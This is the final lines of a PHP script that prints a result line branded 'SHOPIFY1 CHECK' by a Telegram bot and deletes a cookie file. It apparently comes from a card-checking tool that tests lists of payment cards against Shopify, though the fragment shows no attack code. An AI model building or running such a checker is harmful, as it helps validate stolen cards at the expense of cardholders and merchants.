echo "{$emoji} {$message} | {$lista} ({$time}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐒𝐇𝐎𝐏𝐈𝐅𝐘𝟏 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";

// Cleanup
@unlink($cookie_file);

?>
